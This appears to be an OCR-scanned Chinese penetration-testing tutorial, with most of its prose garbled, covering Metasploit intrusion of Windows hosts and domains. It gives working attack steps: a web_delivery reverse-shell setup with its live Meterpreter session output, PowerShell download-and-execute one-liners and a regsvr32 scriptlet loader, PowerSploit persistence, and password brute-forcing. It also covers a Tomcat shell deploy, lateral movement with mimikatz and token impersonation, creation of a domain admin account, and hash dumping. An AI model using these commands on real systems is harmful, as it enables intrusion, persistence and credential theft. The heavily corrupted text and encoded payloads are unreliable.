cwA6AGBALwByAGEAdwAuAGcAaQBOAGgAdQB i AHUAcwB | AHI AYwBvAG4AdAB | AG4AdAAu
AGMAbwBtAC8AUgBpAGQAAdAB | AH | ALWBQAGUAbgBOAGUAcwBOAC8AbQBhAHMAJAB I AHI A
LwBwAGBAdwB | AH| AcwBoAGUAbABsSAGBARAB | AGOAbwBTAGgAZQBsAGwALwBzAGMAaABO
AGEAcwBr AHMALgBwAHMAMQANACKAOWAKAA==""



> use exploit/multi/script/web _delivery
msf exploit( ) > set target 2
target => 2
msf exploit( ) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp
mstT exploit( ) > set lhost 192.168.11.110
lhost => 192.168.11.110
mst exploit( ) > set lport 6666
lport => 6666
msf exploit( ) > set autorunscript 'multicommand -cl “"powershell -ep
bypass -enc SQBFAFgATAAoAE4AZ(QB3ACOATWBiAGoAZ(QBjAHQATABOAGUAdAAUAFCAZQBiAEMADABD
AGUAbgBRACKALgBEAG8AdwBUAGWAbWBhAGQAUWBOAHIAaQBUAGCAKAANAGgAdABBAHAACWABACBALWBY
AGEAdwAuAGcAaQBOAGgAdOBiAHUAcWBTAHIAYWBvAG4AdABLAGAAdAAUAGMAbWBTACBAUgBpAGQAdABL
AHIALWBQAGUAbgBOAGUAcWBBACBAbOBhAHMAdABTAHIALWBWAGBAdWB1AHIACcWBoAGUABABSACBARAB1
AGOAbwBTAGgAZQBsAGWALWBzAGMAaABOAGEACWB rAHMAL gBwAHMAMQANACKAOWAKAA==""
autorunscript => multicommand -cl "powershell -ep bypass -enc SQBFAFgATAA0AE4AZQ
B3ACOATWBiAGOAZQBjAHQAIABOAGUAdAAUAFCAZOBiIAEMADABPAGUAbgBOACKALgBEAGBAdWBUAGWADW
BhAGQAUwWBOAHIAaQBUAGCAKAANAGgAJABOAHAACWABACBALWBYAGEAdWAUAGCAaQBOAGAdQBLIAHUACW
BLAHIAYwWBvAG4AdABLAGAAdAAUAGMADWBTACBAUgBpAGOAdABLAHIALWBQAGUAbgBBAGUACWBOACSADQ
BhAHMAdABTAHIALWBWAGBAdWB1AHIACWBoAGUADABSACBARABLAGOAbWBTAGGAZQBSAGWALWBZAGMAAA
BOAGEAcwB rAHMALgBwAHMAMQANACKAOWAKAA=="
msf exploit( ) > exploit

exploit( ) > exploit
] Exploit running as background job.

Started reverse TCP handler on 192.168.11.110:6666
[*] Using URL: http://0.0.0.0:8080/H8h0pBKmkj0TO
[*] Local IP: http://192.168.11.110:8080/H8h0pBKmkj0TO
*] Server started.

Run the following command on the target machine:
powershell.exe -nop -w hidden -c $v=new-object net.webclient;$v.proxy=[Net.WebRe
quest]: :GetSystemWebProxy();$v.Proxy.Credentials=[Net.CredentialCache]: :DefaultC
redentials;IEX $v.downloadstring('http://192.168.11.110:8080/H8h0pBKmkiOTO");




msf exploit( ) > [*] Delivering Payload

[*] Sending stage (957999 bytes) to 192.168.11.169

[*] Meterpreter session 1 opened (192.168.11.110:6666 -> 192.168.11.109:53461) a
t 2016-10-02 22:10:44 +0800

[*] Session ID 1 (192.168.11.110:6666 -> 192.168.11.109:53461) processing AutoRu
nScript 'multicommand -cl "powershell -ep bypass -enc SQBFAFgAIAAcAE4AZQB3ACOATW
BiAGoAZQBjAHQATABOAGUAdAAUAFCAZQBiIAEMADABpAGUAbgBOACKALgBEAGBAdWBUAGWAbWBhAGQAUW
BOAHIAaQBUAGCAKAANAGGAdABOAHAACWABACBALWBYAGEAdwAUAGCAa(BOAGAdQBiAHUACWBTAHIAY
BvAGAAdABLAGAAdAAUAGMAbWBtAC8AUgBpAGQAdABTAHIALWBQAGUAbgBRAGUACWBOACBAbQBhAHMACA
B1AHIALwWBWAGBAdwB1AHIAcwBoAGUAbABsSACBARABLAGOAbDWBTAGGAZOBsAGWALWEZzAGMAGABOAGEACW
BrAHMALgBwAHMAMOQANACKAOWAKAA==""

[*] Running Command List ...

[*] running command powershell -ep bypass -enc SQBFAFgATAAcAEAAZQB3ACOATWBiA
GoAZQBjAHQATABOAGUAdAAUAFCAZQBiAEMAbABpAGUAbgBOACKALgBEAGBAdWBUAGWAbDWBhAGQAUWBOA
HIAaQBUuAGCAKAANAGOAJABOAHAACWABACBALWBYAGEAdwAUAGCAaQBOAGYAdQBiAHUACWBLAHTIAYWBVA
GAAdABTAGAAdAAUAGMADWB tAC8AUgBpAGQAdABLAHIALWBQAGUAbgBRAGUACWBOACSAbQBhAHMAJABTA
HIALwBWAGBAdwB1AHIAcwBoAGUAbABsACBARABLAGOAbWBTAGGAZQBSAGWALWBZzAGMAaABOAGEACWBIrA
HMALgBwAHMAMQANACKAOWAKAA==

[*]

[H] RHFFFA A AR KK A A K KA KA A KKK KA KA KA KK K

Output of DOWEIbhell -ep bypdss -enc SQBFAFgAIAAoAE4A?QB3ACOATwB1AGOA?
A AAVAFCAT A A A i AGOA AHTA

msf exploit( ) = sessions
Active sessions

£
Id Type Information Connection

1 meterpreter x86/win32 LAPTOP-VEOMQ3HV\P-C @ LAPTOP-VEOMQ3HY 192.168.11.1
10:6666 -> 192.168.11.109:53461 (192.168.11.109)

mst exploit(

MERMNMEIK N meterpreter RIEZE, KRITEHENVNETHRES, ETELHEME
Rt RESSIZ—INE], HSLEL8 T powershel | HIAIEEIHR

1. AR

PowerSploit &2—4> Powershell FJ}2%EIES, HHE7F Persistence ik, RAE/MK
HEABRENRT. RAEEAFHAXERARUENBT, FXETRE—TEHIMN Help 5
A.

1. B4, ER— 183188 TRESETTHREZE.
M#E; Persistence b,

PS C:\Persistence> Import-Module . \Persistence. psml


https://github.com/PowerShellMafia/PowerSploit

FARERNBEERERRIIROBRTRRET, ATEERK, REAMEARME
MrREIT R, Bk, XERRGER RIS K77 REIE, TR R THEHLE RS
1T BEwmSwT:

PS C:\Persistence> $ElevatedOptions = New-ElevatedPersistenceOption
—-ScheduledTask —Onldle

PS C:\Persistence> $UserOptions = New—UserPersistenceOption —ScheduledTask
-Onldle

PS C:\Persistence> Add—Persistence -FilePath . \p—c. psl
-FlevatedPersistenceOption $ElevatedOptions —UserPersistenceOption $UserOptions

—Verbose

] LA B U5 B B S R A

p-c.ps1 & it RIES EHATH payload, B DA LT 64 R4 K.

msfvenom —p windows/x64/meterpreter/reverse https lhost=192.168.11. 110

1port=7777 —f psh-reflection —o p-—c. psl

HREIAWNT :

=
HYE

Y/

ence? Import—-Module .“Persistence.psml
-ence?> $ElevatedOptions = Mew-ElevatedPersistenceOption —ScheduledT:

»sistence? $UserOptions = MNew-UserPersistenceOption —-ScheduledTask —-Onl

ce? Add-Persistence —-FilePath pev i .psl -ElevdtedPersistenceOpt
dOptions —-User stenceOption SUserOptions —Verbose
Persistence script written to C:“Persistence“Persistence.psl
: Persistence removal script written to
tence “\RemovePersistence.psl

PS C:\Persistence? _

T ERBRERINEMRD psl

2. JAMAThRE:

¥ Persistence.ps1 A2 web FiEid IEX SRin# . A2 TG 24 5% 25 R, 23,
T84, MINTZ4A meterpreter 215 .

WK RAPAT U T 52



powershell —nop —exec bypass —¢ “IEX (New-Object

Net. WebClient).DownloadString C http://domain. com/Persistence.psl’); ”

MR B A T ASEER A TEE K ThRE .

3. #Ji& Autorunscript 474 :

PLEE M Et R T Auturunscript P& Persistence.ps1 & &8 H, BT a4 7EES
S, WLMRIERISCHR BT RN TRELE. B, WK, &R ECH i T
RA FHEE, multicommand AT S EREFPTERHFRBPATER, KK, BT
PATHIAEASRE BLEE, B, SSBEFRE!

¥i& sct BT

<{?XML version="1.0"?>
{scriptlet>
{registration
progid="ShortJSRAT”
classid="{10001111-0000-0000-0000-0000FEEDACDC} * >
{!-—— Learn from Casey Smith @subTee ——>
{script language="]JScript”>
<! [CDATA[
rat = “baseb4codes”
ps = “cmd. exe /c powershell —window hidden —enc ”

new ActiveXObject ("WScript. Shell”).Run(ps + rat, 0, true) ;

11>
<{/script>
{/registration>

{/scriptlet>

LA E A 44N test.jpg FHTHE] web RS #% L (F ¥ basebdcodes) , Z /AT

regsvr32 /u /s /i:http://domain. com/test. jpg scrobj. dll



54T powershell ffr 4 R M. 3 H &8t regsvrd2 FF & # MR T AR W

multicommand FjH4T .

TR & ERERNEN:

set autorunscript 'multicommand —cl “regsvr32 /u /s /i:http://domain. com/test. jpg

scrobj.d11”’

Z3REL meterpreter £iELAGE, HEIPITHESREFT:

XH, HEREEZNERT. EBUR, ZRRSHE, HARNIT, EFHIFEH meterpreter
25, XERAEET

ULEHLABN rc XHHEEIT:

payload. rc:

use exploit/multi/script/web_delivery

set target 2

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.2.101

set Iport 6666

set uripath /

set ExitOnSession false

set autorunscript 'multicommand —c| "regsvr32 /u /s /i:http://domain. com/test. jpg
scrobj.dl ™'

exploit —j

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.11.110

set lport 7777

set ExitOnSession false

exploit —j



FF metasploit NERITME, BRERRBFUE=FRITHE, EhEENAIEHRLENRE
360 SBFESH, FETHARHKEE Eviteg KERUEALERNL—T Autorunscript
XA ThEE AR JLANEE B8 F O A

#+—E

A EHITERWENERE, RIMNEELHFANRKRNBENER, AXSFANNTER
AT FI A Metasploit TS BIE

BRSNS AETMEANEHS R :

—. wEnfERER:

WA R W RREAENEERMEESRZENRATIRER. i, BIRRSIESFS
ARG BFRRRIERS, FFHAIRA, web RSF[ERHFER

: - Eijjfgl%\l&ﬁ H

ERNEBWES, RINTUEEMRAERE, NMRGSESHER, LNESHBHERR
G R EYIR O RBEN S FFREIRS, F— P FHARSHETRARMNERTARBNL.
FEIENRE, EREEWESRRATEER 10S 70 IPS HUERREE

ERREFNEREEHANTE-ITRIFNERER, MARNERIFUTES) msfconsole
H=%

(1) )2 B %k
QEFYREE

() B

UER=ZALRAREE_ENHERIAZSERA do_nmap RIEWEMN, HSEENR
RHER, BLARNZ—FBME-—THRBBEREEEERER, WA —SHTRIR
e E A

I %l%\*ﬁ%

1.8 metasploit B G 0/



E%:E%*ﬁﬁ] '&ﬁ'éﬁ Tizjl\*ﬁi;& #msf > search portscan

H AR K ERBAFEE syn tep

2. smb_version

smb_version ERIAF windows B A
FIR4EB: auxiliary/scanner/smb/smb_version

msf > use auxiliary/scanner/smb/smb_version

msf auxiliary( ) set THREADS 16

THREADS => 16

msT auxiliary( ) = set RHOSTS 192.168.11.109
RHOSTS == 192.168.11.109

mst auxiliary( ) show options

Module options (auxiliary/scanner/smb/smb_version):

Name Current Setting Required Description

RHOSTS 192.168.11.109 S The target address range or CIDR identi
fier

SMBDomain . The Windows domain to use for authentic
ation

SMBPass The password for the specified username

SMBUser The username to authenticate as

THREADS 16 The number of concurrent threads

X BRI EANAIMXE, d: 192.168.11.1/24

3.mssql_ping

BRIAMS SQL server £ USMT 1433 i5 O3k & —NBEALAY TCP %O, MRISITRYZMEN RO A
&, ATRUEIT UDP 7 1434 in O Eif B4 MITa 24N s O

FIFAHER  auxi | iary/scanner/mssql/mssql_ping



> use auxiliary/scanner/mssgl/mssql ping
f auxiliary( ) = show options

Module options (auxiliary/scanner/mssqgl/mssql ping):

Name Current Setting Required Description

PASSWORD password for the specifie
d username

RHOSTS y target address range or C
IDR identifier

TDSENCRYPTION / TLS/SSL for TDS data "For
ce Encryption”

THREADS number of concurrent thre
ads

USERNAME username to authenticate
as

USE WINDOWS AUTHENT false ye » windows authentification
(requires DOMAIN option set)

iary( } = set THREADS 10
> 10
' "y )
192.168.11.1/24
auxiliary( )} = exploit

> set RHOSTS 192.168.11.1/24

[*] Scanned 29 of 256 hosts (11% complete)

4. ssh_version

RA ssh £ A KV hL &
FIFEIR: auxiliary/scanner/ssh/ssh_version
auxiliary( > show options
Module options (auxiliary/scanner/ssh/ssh version):
Name Current Setting Required Description

RHOSTS The target address range or CIDR identif

RPORT 22 The target port
THREADS 1 yes The number of concurrent threads
TIMEQUT 30 yes Timeout for the SSH probe

st auxiliary( ) > set RHOSTS 192.168.11.1/24
RHOSTS == 192.168.11.1/24
msf auxiliary( ) > exploit

Hi&iEACHERREXERR—IER

5. ftp_version

ftp_version &R T BEMLE bR FTP server



FIRHEBREF: auxiliary/scanner/ftp/ftp_version
> use auxiliary/scanner/ftp/ftp version
f auxiliary( ) = show options
Module options (auxiliary/scanner/ftp/ftp version):

Name Current Setting Required Description

FTPPASS mozilla@example.com password for the specified usern

me
FTPUSER anonymous username to authenticate as
RHOSTS yes > target address range or CIDR ide
tifier
RPORT 21 yes target port
THREADS yes number of concurrent threads

msf auxiliary( ) > set RHOSTS 192.168.11.1/24
RHOSTS => 192.168.11.1/24
msf auxiliary( ) set THREADS 10
HREADS == 10
auxiliary|( exploit

—. ROW®

Metasploit ATLAX} mysql ftp ssh tomcat HFFHITIRM, XBIHAIKRANFIFRILAR
THE

1.mysql_login
FIR4EBR: auxiliary/scanner/mysql/mysql_login

f > search mysql login
Module database cache not built yet, using slow search

Matching Modules

Disclosure Date Rank Description

auxiliary/scanner/mysql/mysql login normal
lity




msf auxiliary( ) > set RHOSTS 192.168.11.169
RHOSTS => 192.168.11.109

msf auxiliary( ) > set USER FILE /root/user.txt
USER FILE => /root/user.txt

mst auxiliary( ) > set PASS FILE /root/pass.txt
PASS F => /root/pass.txt
mst auxiliary( ) > exploit

USER FILE E{REEAMZH
PASS_FILE 2R
YRR AT metasploit BRI FHL

2.tomcat_mgr_login

FIA%: auxiliary/scanner/http/tomcat_mgr_login

nst > search tomcat mgr
[!] Module database cache not built yet, using slow search

Matching Modules

Disclosure Date Rank

auxiliary/scanner/http/tomcat mgr login normal
pplication Manager Login Utility

2009-11-09 excellent
omcat Manager Application Deployer Authenticated Code Execution

exploit/multi/http/tomcat mgr upload 2009-11-09 excellent
omcat Manager Authenticated Upload Code Execution




> use auxiliary/scanner/http/tomcat mgr login
auxiliary( ) > show options

Module options (auxiliary/scanner/http/tomcat mgr login):

Name Current Setting
Required Description

BLANK PASSWORDS  Talse
no Try blank passwords for all users
BRUTEFORCE SPEED 5
yes How fast to bruteforce, from @ to 5
DB_ALL CREDS false
no Try each user/password couple stored in the curre
nt database
DB ALL PASS false
no Add all passwords in the current database to the
list
DB ALL USERS false
no Add all users in the current database to the list
PASSWORD
no The HTTP password to specify for authentication
PASS FILE /fusr/share/metasploit-framework/data/wordlists/tomcat mgr d
efault pass.txt no File containing passwords, one per line
Proxies
no A proxy chain of format type:host:port[,type:host
:port][...]
RHOSTS
yes The target address range or CIDR identifier
RPORT 8080
yes The target port
S5L false
no Negotiate SSL/TLS for outgoing connections
STOP_ON SUCCESS false

TARGETURI /manager/html
yes URI for Manager login. Default is /manager/html
THREADS i
yes The number of concurrent threads
USERNAME
no The HTTP username to specify for authentication
USERPASS FILE /usr/share/metasploit-framework/data/wordlists/tomcat mgr d
fault userpass.txt no File containing users and passwords separated by
space, one pair per line
USER_AS PASS false
no Try the username as the password for all users
USER FILE /usr/share/metasploit-framework/data/wordlists/tomcat _mgr_d
efault users.txt no File containing users, one per line
VERBOSE true
yes Whether to print output for all attempts
VHOST
no HTTP server virtual host

f auxiliary(

E LB IR tomecat B, metasploit BUIARA 7T BWHIKSE, FRARITHEATARAAR
1B KA AFHRFIFEFH

Metasploit HEFHERR:



fusr/share/metasploit-framework/data/wordlists/

FANERR tomcat IJBWIRRNEHE, ERINE—NIEFIAER 2461

1. BB

msf > search tomcat

msf > use auxiliary/scanner/http/tomcat_mgr_login

msf auxiliary(tomcat_mgr_login) > set rhost xxx

msf auxiliary(tomcat_mgr_login) > set rport 8180

msf auxiliary(tomcat_mgr_login) > exploit

2. FIFRHA A P B GE] shel |

RIGHRNBE TS ELE S tomcat IBARFIA T 5 BOLEHBHIT S shel |

msf auxiliary(tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_deploy

msf exploit(tomcat_mgr_deploy) > set rhost xxx

msf exploit(tomcat_mgr_deploy) > set rport 8180

msf exploit(tomcat_mgr_deploy) > set username tomcat

msf exploit(tomcat_mgr_deploy) > set password tomcat

msf exploit(tomcat_mgr_deploy) > exploit

Metasoloit HMRBERNBRARBERTAKLU—FA, TARKARIIHERN—LERFE
RARBZEHS

metasp | iot & MIRMARFZHEHR :



Ui mEEE ]

auxil iary/scanner/portscan

scanner/portscan/ack ACK Bf A &R

scanner/portscan/ftpbounce FTP Bk O34

scanner/portscan/syn SYN i O34
scanner/portscan/tcp TCP i O ¥344
scanner/portscan/xmas TCP"XMas " 033
smb 4

smb #Z€ auxil iary/scanner/smb/smb_enumusers

iR [E] DCERPC {§ 2 auxi | iary/scanner/smb/pipe_dcerpc_auditor

348 SMB2 1+ auxi | iary/scanner/smb/smb2

1334 smb L Z 32 auxi | iary/scanner/smb/smb_enumshares

HMZEZRZ R P auxil iary/scanner/smb/smb_enumusers

SMB & 3% auxi |l iary/scanner/smb/smb_login

SMB & 3% use windows/smb/psexec

FA$ELBRYF P auxi | iary/scanner/smb/smb_lookupsid

R BRLRA auxi | iary/scanner/smb/smb_version

mssql ¥ @K O tcp1433udp1434)

admin/mssql/mssql_enum MSSQL #rz&



admin/mssql /mssql_exec MSSQL hiTér S

admin/mssql/mssql_sql MSSQL Zif]

scanner/mssql/mssql_login MSSQL Bk T B

scanner/mssql/mssql_ping i MSSQL HEEF{ER

HIMEFB— mssql_payload FIEESR FIFRERAR

smtp A%

smtp ¥ZE auxil iary/scanner/smtp/smtp_enum

348 smtp ki AS auxi | iary/scanner/smtp/smtp_version

snmp 3%

183 snmp 33 auxi | iary/scanner/snmp/community

ssh 3%

ssh B 35% auxi l iary/scanner/ssh/ssh_login

ssh NHEZ4AIAUEEF auxi liary/scanner/ssh/ssh_login_pubkey

A ssh A<M auxil iary/scanner/ssh/ssh_version

telnet A

telnet B35 auxiliary/scanner/telnet/telnet_login

A telnet BEZS auxil iary/scanner/telnet/telnet_version

tftp A4

A48 tftp BISCHE: auxi | iary/scanner/tftp/tftpbrute

ftp MiA<$34H scanner/ftp/anonymous



ARP 1338

auxil iary/scanner/discovery/arp_sweep

345 UDP AR RUEH auxil iary/scanner/discovery/udp_probe

s FARY UDP BR S5 auxi | iary/scanner/discovery/udp_sweep

sniffer 3585 auxil iary/sniffer/psnuffle

snmp 3338 scanner/snmp/community

vne FAE T IAUEFTHE scanner/vne/vnc_none_auth

web fif 5335 B R

Module auxiliary/scanner/http/http_version

Module auxiliary/scanner/http/open_proxy

Module auxiliary/scanner/http/robots_txt

Module auxiliary/scanner/http/frontpage_login

Module auxiliary/admin/http/tomcat_administration

Module auxiliary/admin/http/tomcat_utf8_traversal

Module auxiliary/scanner/http/options

Module auxiliary/scanner/http/drupal_views_user_enum

Module auxiliary/scanner/http/scraper

Module auxiliary/scanner/http/svn_scanner

Module auxiliary/scanner/http/trace

Module auxiliary/scanner/http/vhost_scanner



Module auxiliary/scanner/http/webdav_internal_ip

Module auxiliary/scanner/http/webdav_scanner

Module auxiliary/scanner/http/webdav_website_content

3 B RS

Module auxiliary/dos/http/apache_range_dos

Module auxiliary/scanner/http/backup_file

Module auxiliary/scanner/http/brute_dirs

Module auxiliary/scanner/http/copy_of file

Module auxiliary/scanner/http/dir_listing

Module auxiliary/scanner/http/dir_scanner

Module auxiliary/scanner/http/dir_webdav_unicode_bypass

Module auxiliary/scanner/http/file_same_name_dir

Module auxiliary/scanner/http/files_dir

Module auxiliary/scanner/http/http_put

Module auxiliary/scanner/http/ms09_020_webdav_unicode_bypass

Module auxiliary/scanner/http/prev_dir_same_name_file

Module auxiliary/scanner/http/replace_ext

Module auxiliary/scanner/http/soap_xml

Module auxiliary/scanner/http/trace_axd

Module auxiliary/scanner/http/verb_auth_bypass



web [ FH 2 FPIR IRt ER

Module auxiliary/scanner/http/blind_sql_query

Module auxiliary/scanner/http/error_sql_injection

Module auxiliary/scanner/http/http_traversal

Module auxiliary/scanner/http/rails_mass_assignment

Module exploit/multi/http/lcms_php_exec

F4+ -5

— . R5%¥ meterpreter

X—IREAIEZFIR reverse_https iERRE WNE :




%8 https payload

— . iR 2102 BR3EE

BRITEEXZZI— Webshel | HFHRBEINE—HERMA? PEEREN, RvE
AFREN—, BAEFHRTRNOENRZIR. G5EER msf B search iR ms15, £153)
—RRAFARER, REIXT ms15_05 PLK ms15_078 £IPLIRMEAR, FHANENT
FR7R:



= . SIS Bypassuac 12

RIFFE—ESHT —HE, PRI webshel | ZBHIMPR, FHI1BHT webshel |
£ jsp B9, AFHIN— 1N ESAPHPIR. TR BEE TEARALUEE bypassuac
SeSEREIE, BERMRNERTEMM, XN—REKT, BRiFHELNT:

R PR 2 M5 A A



25558 bypassuac

M. MBXE2WE

HEMNUEFHERR AR RAT, BANERTUAFIBE SRR AFRTEEEMNLH, B
LBRERMNABATLAS RHTEEM N

1 WSREEEMNAXES, BFEMANARP, MANER, UEEXCENENER
EEAZNGSUT:

net user /domain

Net group “domain computers” /domain

net group “domain admins” /domain #2575 1845 ¥ i
net localgroup administrators

net view /domain

2. EE sqlserver RUMEXIER, MRYATBRLHFERT sal server BIE, RITAFRY
:]]

RIS A FR9IE, BRMNELTTLUER sqlomd KIESWE, UERAERS. EXERREER,
EARIECE, ERFAHME—ETL, REZNSEVNILY, RELIARMTHRE AN
=2, BEEMA salemd BIFREL sql server HIFTEHIEESIR, HATRLHAHESR.
HETELZHA IP. BH net view RME LS BWE, FHMEMTHR:



SRR =R



HXN=ER

1. ERSIRE—EMRSHR

HENEREETRUE, BNEFBRERETREMAA, HBERIKE—TRMNE
AAEtA:

A — MR PRBEENR, HAIELZLHZ windows server 2012, F2kM (fRingERR
T, BAVMKRRICEIREE A PRYRASCER)

B HEIMWELHMAFE

C HET sqlomd FKENBIMIEIHERRKT sql server HlIRHIZFR

BarEiInE®E:

1 £ meterpreter HIERIBRIFMEEAEIITHEOSHEM

2 £/ powershel| XNAMFEITIH (FRBEMXERT, EREXELERZHER)
BFRUIAT B — =, HARUATEZ] powershel | Z&XTE R —ANAIREIE MK X —H#
B

3 ERANETHIA FIPRERE socksda, REFIAE—LRIVEMBEINIES socks HITH
Pkt

4 ERAYIAPHPR, MiBERABREIT IPC, 3t& DIR il (BRE dir HiHBK
B c &, MRMIHIFTTENR) #HENH

g EEA AT, WRIERIERE T S —HSE, HITHAI R 2V ER net



view BB BHEITIILE, WHFIEEBMBILAINGER, FHARK, HENEREHLEIEER
B, £ T RXNFHERMRII T, FASENT:
Net use \\ip\c}

Tasklist /v /s ip




tasklist HUITAIN

AR

BRAESNSEER THAXHERRE  RERAHIZSHNET | XIREESHY
RIEG EMAIHERINER | AR ¢

1IHERUNE , ERRZIAE<SMT :

Net group “domain admins” /domain

Net group /domain

Net group “domain controllers” /domain

Net group “enterprise admins” /domain
2ipc$ANE , AFRBEXREBTAESZH IPCSAR

Net use \\ip\c$

Copy bat.bat \\ip\c$ (EHf bat.bat 2 powershell fJ meterpreter)
Net time \\ip

At \\ip time c:\bat.bat

3. LIEMBAXTH 64.exe ( mimikatz ##3% ) , AREPIEAT
Upload /home/64.exe c:\

Shell

Cd\

64.Exe

4. EEMEENAPIFRER

Net use xxx /domain

5.fEF meterpreter B9 ps, EEHXHEPREETIE



6. =it EMNSHRE

Use incongnito

list token -u
Impersonate_token xxxxxx

EEXREENRIRERSIX EEAZINREEIRS | FHENEEMNT:

EEEHE



HESHIRA)ESIFH payload



EEAITNSBIRMERRRPER




L&EE =R




EEHENIR

EEFE IP



+. I smb (&i%

1. ERAHBRRBAENA PR, RIEFETIHE 2. smb_login FA#H

3. imOFE LR HAN

VERFIR ST

1.msf FFMEBHE route add ip mask sessionid

2.smb_login fRIRFEEM psexec_scanner (X MERFEFRBCSHE—T)
3. meterpreter RO X

4.msf BY socksda 1&EIR

1B BN RIS



weAiROl

T Powershell KRB =TELAIN2E

I\ = ETE RBRAYIREY (windows2012 #XER)

A INE M

Net user demo demo /ad /domain



Net group ‘“domain admins” demo /ad /domain

RMBEEKS

JL.msf psexec [ZiEtgiz shell



meterpreter HY https HEIRSZHEALIH



HENRGEER

+.Meterpreter 3XBXFFERPFH hash

BETHHNIRZE, MRBITEHITRBREIES, B4 dumphash ZARADH.
BRREEFERNEEMNMR:

1.msf HEMERATLUER, —4 =2 hashdump, MHAZERIRESHEME hash, KFRM
ARATLLVAET, FH—1 R smart_hashdump, HERRFTELARSHIEA PR hash.
2.powershel | HAIUEESHAER, ARBITER—T

3. wce, mimikatz SFHEAEH

EXEHEANRE msf B smart_hashdump BIEMR. ERFEIRNEERFEFERALE
REFH hash, SHINEFER system FIBPRA1T. FHMNTEMTE:

smart_hashdump HIREY{EA



REREE-TZAABN—LRAR, MESHN—LETR. CHBXEFSTHRETAT
—M webshel | BliFIFHIRRZBERTM T, SREXERVIREFEN—LTRT
ARERIEH®R, WDAKHEIE, HFEF3)

ZHIEHLER

RIEFENEAE, RMAEREFIA Session —HAF 5 4, HPpBFHENMRHMEFKENAY,
45l% sessionl, session? sessiond, session5. HH session1 g webshel| IEFEFFk
19, 8= session2 RIERFHIREBIAY, , sessiond HIRBEUHAEIR G FTIREL, session5
Jaig

BE ETRFBEHN—TERNERANEIEAR

1. ;x5 shell

2. 2. P R BUB B4R AL

3. 3. FEIIZFMR ipc

4. 4. WEIBIFHINE E 7

5.5. BEWIF AT ELHIPLE ip
6. 6. BEEUIEAZ BT A i) hash
7.7.smb hash {&i%f

HENARNE—T—LXTHIZH N IERR

1. post/windows/gather/enum domain &EFHIH %

2. post/windows/gather/enum domain group users IE# & O&ESMHEEA

3. post/windows/gather/enum domain users IE# HIE OREMEIESNE P
4. post/windows/gather/enum tokens & K REMBIEESM (SBEN)

5. post/windows/gather/local admin search enum YX£ZEZSHb Windows B R
6. post/windows/manage/add user domain & & HE ¥ F &0 2 10 / B 15
A

i
20t



ERFRANETHRTHA TERE, DA R—ESZSRXREEF
3, REEHNFR AU—NIMFENMAN KERMGEFENFES

metasploit FAY/NEERERTIIN o0& : 537620869
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